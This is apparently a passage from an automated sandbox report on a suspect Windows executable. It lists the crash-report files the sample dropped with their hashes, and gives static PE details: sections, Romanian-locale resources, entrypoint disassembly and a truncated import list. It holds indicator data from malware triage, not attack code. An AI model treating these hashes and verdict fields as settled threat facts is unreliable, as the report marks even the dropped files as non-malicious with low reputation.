Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.6.0.1.8.8.4.5.4.5.7.1.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.4.0.b.9.d.2.d.-.4.e.7.6.-.4.6.c.7.-.a.d.7.9.-.3.a.5.a.b.a.1.8.2.2.d.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.f.6.0.9.2.5.-.b.f.3.7.-.4.2.c.2.-.b.9.8.7.-.b.a.c.2.0.4.d.0.2.8.a.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.q.r.L.d.M.v.1.Q.X.G...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.c.8.-.0.0.0.1.-.0.0.1.4.-.4.3.e.a.-.c.b.5.0.c.2.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.0.9.9.6.d.6.d.b.9.e.0.b.6.2.9.0.c.2.a.9.a.e.e.7.8.c.3.b.0.4.5.0.0.0.0.0.a.1.6.!.0.0.0.0.2.d.a.3.c.b.0.0.3.e.2.e.e.f.f.e.c.2.1.b.5.0.3.e.8.d.f.6.f.8.5.a.2.5.2.f.a.c.0.7.!.q.r.L.d.M.v.1.Q.X.G...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.1.8.:.1.2.:.5.9.:.4.2.!.0.!.q.r.L.d.M.v.1.Q.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_qrLdMv1QXG.exe_dab42b4fbe31c195557b22d8807203fa4c45350_4915b7ca_5670d64c-ae8b-4d92-80a6-a5bc086660b9\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.994662582909593
Encrypted:	false
SSDEEP:	192:nm5QCQih0p5baLjtdF7zuiFmZ24IO8rY:m5QCQiip5baLjZzuiFmY4IO8rY
MD5:	A82779058BAE3041EF422BABA2F3ADE5
SHA1:	E2E3A024441E7AB0C69571CC66689B5B14F07509
SHA-256:	62C2A5216EBCEFD9AE0789923E4D67C4EEC47230C04FC78AF3035E68509AF152
SHA-512:	D00E17887C71D1E96786FC33EC4AD06A66D184B3C36CC609BFF57127C1D2DD3ADAAE6FE372EBB82435AFB3615BA2E805BF79DAD4BEEDDC4C681A6852893160D8
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.6.0.1.8.9.5.7.3.2.5.8.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.1.6.0.1.9.3.1.0.4.4.9.9.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.6.7.0.d.6.4.c.-.a.e.8.b.-.4.d.9.2.-.8.0.a.6.-.a.5.b.c.0.8.6.6.6.0.b.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.9.8.4.d.f.1.a.-.d.0.b.d.-.4.7.c.5.-.a.4.a.5.-.b.2.2.7.2.e.9.c.f.f.c.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.q.r.L.d.M.v.1.Q.X.G...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.c.8.-.0.0.0.1.-.0.0.1.4.-.4.3.e.a.-.c.b.5.0.c.2.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.0.9.9.6.d.6.d.b.9.e.0.b.6.2.9.0.c.2.a.9.a.e.e.7.8.c.3.b.0.4.5.0.0.0.0.0.a.1.6.!.0.0.0.0.2.d.a.3.c.b.0.0.3.e.2.e.e.f.f.e.c.2.1.b.5.0.3.e.8.d.f.6.f.8.5.a.2.5.2.f.a.c.0.7.!.q.r.L.d.M.v.1.Q.X.G...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1F1.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Apr 21 08:03:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	54970
Entropy (8bit):	2.6956245581885807
Encrypted:	false
SSDEEP:	384:z7lW+aUepjjBDYraCs7+Jrun8y5uMNxypn1P1:z7ozpjjBSaCFr85uMnyRp1
MD5:	47DF2E2AA9EA75CCFFE095FF07A9B84D
SHA1:	57A7CCFEDC35BB291EEF2D6929D2DA2958663449
SHA-256:	AF14635160D110E4E066479F855B00C8464DC95F29CD4F5150C13A764E8FE47A
SHA-512:	911AC20C0A1A525E3D2DFF44438A6A230BBA0C58E8804D012C855FC3E3A90C25034BA9B9458970266ADBD499E29E32581D91C335A43D9D2160B869314002DD74
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......<.$f............4...............H........................1..........`.......8...........T............=..............x ..........d"..............................................................................eJ......."......GenuineIntel............T.............$f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2DC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8416
Entropy (8bit):	3.696170527052191
Encrypted:	false
SSDEEP:	192:R6l7wVeJt/H6olD6YEIsSUe6BgmfJMpNj89bS51fIomm:R6lXJV6oZ6YEjSUesgmfJTSbfv
MD5:	CB8874A02A96A1D34826A8F83E77C273
SHA1:	6D4C668F0DFA8FE783C2D628C375A871E487A982
SHA-256:	C619E8B4309C1B5F8236849E505F351C6045DB7F50FFAD98863B2E1B2E674549
SHA-512:	4CB54D5164E96E0F992C0C77B275382FD7A0C3C20C5E79FC29631A2972A2052C5F3AB66785448241F49402F8B67EEB59AC54A30514634FD9611D605DA49855D1
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE31C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4684
Entropy (8bit):	4.457218296573358
Encrypted:	false
SSDEEP:	48:cvIwWl8zsXJg77aI9cfWpW8VYo5Ym8M4JGNouF/m8+q8vWNoj8chkQhNd:uIjf5I7qO7VvoJG2Am8KW2guHhNd
MD5:	08C3B71EC9FC8A8976B1BD6F6D6DEB9C
SHA1:	E0F5594A514A55E8224A35CF28DC45406F3EAFB1
SHA-256:	BDE21AA215F88B8695084A8F5A14AA11F90996E27FFF83EC2C8439579B17AC78
SHA-512:	FD271ED7B96A9B277E8340D36B7BE378C25170D08300C44C5989C24CB947B16A7B75ADEC3E211DF7280B97555062B8767E5272B18B612F0F2E9B5E979D916F97
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289385" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE637.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Apr 21 08:03:10 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1086634
Entropy (8bit):	1.0838706407342276
Encrypted:	false
SSDEEP:	1536:+H0KqVroSx0MT8ih0TzcsHX7fKTx8SnC:+HQRoSOwh0zHG
MD5:	10C18E61BFDEEE6EF7EB31D9A37ABBEB
SHA1:	3396C240E74C42897C54FC7C20252DEA07E52BC8
SHA-256:	28EB33761B24359D109BAE73DDB86D099E9B748F9B16A0585096F759F7EA63DF
SHA-512:	FC86A80B2B44610EA82ADC52B4ECEB32708FB365F108FE8FA7B05B2FEB6B5B8661D48D06EBBD8E21AD39B4B66B5ECAA759ED593F0F4C19242FC616C6895C6C32
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......>.$f............4...............H........................1..........`.......8...........T...........x=..2W..........x ..........d"..............................................................................eJ......."......GenuineIntel............T.............$f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF328.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8338
Entropy (8bit):	3.6998023511925227
Encrypted:	false
SSDEEP:	192:R6l7wVeJt/A6oc6YEIZSUySgmfFcpDG89bJJsfujm:R6lXJy6oc6YE2SUySgmfF+Jifb
MD5:	1A795D89804780A52B28BBDCCEB4DCB3
SHA1:	1FCD65E33D4D7102E44EE0CD5EAA9EBD5DF9C193
SHA-256:	40337D78E5580762A8A9371E7355E48C1C0EA5A6F96BF1F5047A65E6719CC10C
SHA-512:	C924DCEF0D0CC64455EF5B9BD8CB14B76781A3A0646D7F8CD1326CDC70EA94D92989179EEA3FEB53ECBD9ACA7F4008543FF96EA28282F0E900079BD1180A1CCD
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF358.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.468953331958849
Encrypted:	false
SSDEEP:	48:cvIwWl8zsXJg77aI9cfWpW8VYyvYm8M4JGNo2FpD+q82qSE8chkQhsd:uIjf5I7qO7V9yJG2qD/qKuHhsd
MD5:	AA5186C557A11C95508D75CB4CF97FA9
SHA1:	BC80DF8D68A01FCECC06396A4A442ADC803C69DD
SHA-256:	27FDAC1B12D25DA05854C4FBD229493FDE0872318CBB5DFF0C5B390276FC6E4F
SHA-512:	55A1B4C8026736A8AE8397D2B901A8DFE3EBC4DDB37205F4C5784C40B8B36A727D1C26042FB612A8BA9D1E988EC28FFF46EE534A6ADA29C653272C8A3FCB1D46
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289385" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421551502683806
Encrypted:	false
SSDEEP:	6144:CSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNn0uhiTw:RvloTMW+EZMM6DFyV03w
MD5:	055215D31386B5914229566556732DA3
SHA1:	9008545DAD37EAD3762CBCA23BCAA46FB8B89BCA
SHA-256:	ACFCA8CAD660DB6A1A8EE7BDCD10E4E9A3F65A6CCB628133DE6A81330D84F529
SHA-512:	6E77F9BA99FA767294384B7868275B007B77477751C37BDB698930EB1777D44050D7CD1F75B2050E50A33CF46D50B2EA8963DB94B7BB9547BB80FBB92C2C2362
Malicious:	false
Reputation:	low
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...X..................................................................................................................................................................................................................................................................................................................................................l........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.8688705145529045
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	qrLdMv1QXG.exe
File size:	390'656 bytes
MD5:	7e4a8865ea7cf91c86ba9ba1711da71c
SHA1:	2da3cb003e2eeffec21b503e8df6f85a252fac07
SHA256:	58514c9f457ef7389dea754163672f1b822fe211dfaf24cab313049cb3bd0f60
SHA512:	033a0a0fb5b6396ce1f8f56bc00498b002431a0185e8de44e28e84fb55b9b05fc17a24e6302b2d7383680a0d36dedbf897a43d558a2ad922dd0caf07baa52e4e
SSDEEP:	6144:PE8SuCG4gflIutJuSK86SaXnTmz0OFiP:PE8SfGrOkJujf1nTmz0y8
TLSH:	DA848C13B2E07D94E6624B32DE2E86E4361DF9518E197B67321DAF1F17B40B2C263B11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................................./.......]..............w+..............w......Rich............PE..L......d...................

File Icon


Icon Hash:	63396de971636e0f

Static PE Info

General

Entrypoint:	0x403c12
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64C08FBB [Wed Jul 26 03:15:07 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4ea58a625e5f62fd2e96d191f2f95692

Entrypoint Preview

Instruction
call 00007F4654B2CB95h
jmp 00007F4654B25E65h
push 00000014h
push 00415DC8h
call 00007F4654B2988Dh
call 00007F4654B2BC0Eh
movzx esi, ax
push 00000002h
call 00007F4654B2CB28h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F4654B25E66h
xor ebx, ebx
jmp 00007F4654B25E95h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F4654B25E4Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F4654B25E3Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F4654B25E6Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F4654B29704h
test eax, eax
jne 00007F4654B25E6Ah
push 0000001Ch
call 00007F4654B25F41h
pop ecx
call 00007F4654B29440h
test eax, eax
jne 00007F4654B25E6Ah
push 00000010h
call 00007F4654B25F30h
pop ecx
call 00007F4654B2B957h
and dword ptr [ebp-04h], 00000000h
call 00007F4654B2B253h
test eax, eax
jns 00007F4654B25E6Ah
push 0000001Bh
call 00007F4654B25F16h
pop ecx
call dword ptr [004100D0h]
mov dword ptr [01A12C68h], eax
call 00007F4654B2CB7Ch
mov dword ptr [0044AC20h], eax
call 00007F4654B2C779h
test eax, eax
jns 00007F4654B25E6Ah

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x161fc	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1613000	0x15e90	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x10200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x15768	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x198	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe853	0xea00	819c9235eb94d31ac785f9154cd754b6	False	0.6033987713675214	data	6.682826629609375	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x6b64	0x6c00	65ead7a81c3f88486603863d810f8f32	False	0.3952907986111111	data	4.777093689068747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x17000	0x15fbc80	0x33c00	f7565e722b4eb93a4150efd01bacdf3e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1613000	0x15e90	0x16000	7b18e37c9d7a3dcb316a41bb3a1f6e0f	False	0.3306329900568182	data	4.13646782714859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x16239e8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x1624890	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x1625138	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x16256d0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x1625800	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x16258d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x1626780	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x1627028	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x1613870	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5328341013824884
RT_ICON	0x1613f38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.41120331950207467
RT_ICON	0x16164e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.44858156028368795
RT_ICON	0x1616978	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.5170575692963753
RT_ICON	0x1617820	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5045126353790613
RT_ICON	0x16180c8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.45910138248847926
RT_ICON	0x1618790	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.47832369942196534
RT_ICON	0x1618cf8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Romanian	Romania	0.2794605809128631
RT_ICON	0x161b2a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Romanian	Romania	0.30816135084427765
RT_ICON	0x161c348	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Romanian	Romania	0.3389344262295082
RT_ICON	0x161ccd0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Romanian	Romania	0.36879432624113473
RT_ICON	0x161d1b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.27878464818763327
RT_ICON	0x161e058	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.36913357400722024
RT_ICON	0x161e900	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.3951612903225806
RT_ICON	0x161efc8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.3901734104046243
RT_ICON	0x161f530	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2744813278008299
RT_ICON	0x1621ad8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.3027673545966229
RT_ICON	0x1622b80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.3221311475409836
RT_ICON	0x1623508	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.35106382978723405
RT_DIALOG	0x16277b0	0x52	data			0.8780487804878049
RT_STRING	0x1627808	0x432	data	Romanian	Romania	0.45251396648044695
RT_STRING	0x1627c40	0x4d4	data	Romanian	Romania	0.44660194174757284
RT_STRING	0x1628118	0x13a	data	Romanian	Romania	0.5286624203821656
RT_STRING	0x1628258	0x30a	data	Romanian	Romania	0.47429305912596403
RT_STRING	0x1628568	0x638	data	Romanian	Romania	0.43027638190954776
RT_STRING	0x1628ba0	0x2ec	data	Romanian	Romania	0.47058823529411764
RT_GROUP_CURSOR	0x16256a0	0x30	data			0.9375
RT_GROUP_CURSOR	0x16258b0	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x1627590	0x30	data			0.9375
RT_GROUP_ICON	0x1616948	0x30	data	Romanian	Romania	0.9375
RT_GROUP_ICON	0x161d138	0x76	data	Romanian	Romania	0.6694915254237288
RT_GROUP_ICON	0x1623970	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x16275c0	0x1ec	data			0.5386178861788617

Imports

DLL	Import
KERNEL32.dll	LocalCompact, GetUserDefaultLCID, AddConsoleAliasW, CreateHardLinkA, GetTickCount, EnumTimeFormatsW, FindResourceExA, GetVolumeInformationA, LoadLibraryW, CopyFileW, WriteConsoleW, GetCompressedFileSizeA, GetTempPathW, SetThreadLocale, GetLastError, SetLastError, GetProcAddress, GetLocaleInfoA, SetStdHandle, SetFileAttributesA, WriteConsoleA, InterlockedExchangeAdd, LocalAlloc, SetCalendarInfoW, GetExitCodeThread, RemoveDirectoryW, AddAtomA, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, LoadLibraryExA, ReadConsoleInputW, GetWindowsDirectoryW, AddConsoleAliasA, GetComputerNameA, FindFirstChangeNotificationW, CreateTimerQueueTimer, GetSystemDefaultLangID, OutputDebugStringW, FlushFileBuffers, HeapFree, EncodePointer, DecodePointer, ExitProcess, GetModuleHandleExW, MultiByteToWideChar, WideCharToMultiByte, GetCommandLineA, RaiseException, RtlUnwind, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetCPInfo, GetCurrentThreadId, IsDebuggerPresent, GetProcessHeap, HeapSize, EnterCriticalSection, LeaveCriticalSection, ReadFile, GetConsoleMode, ReadConsoleW, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, WriteFile, GetModuleFileNameW, LoadLibraryExW, HeapAlloc, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, 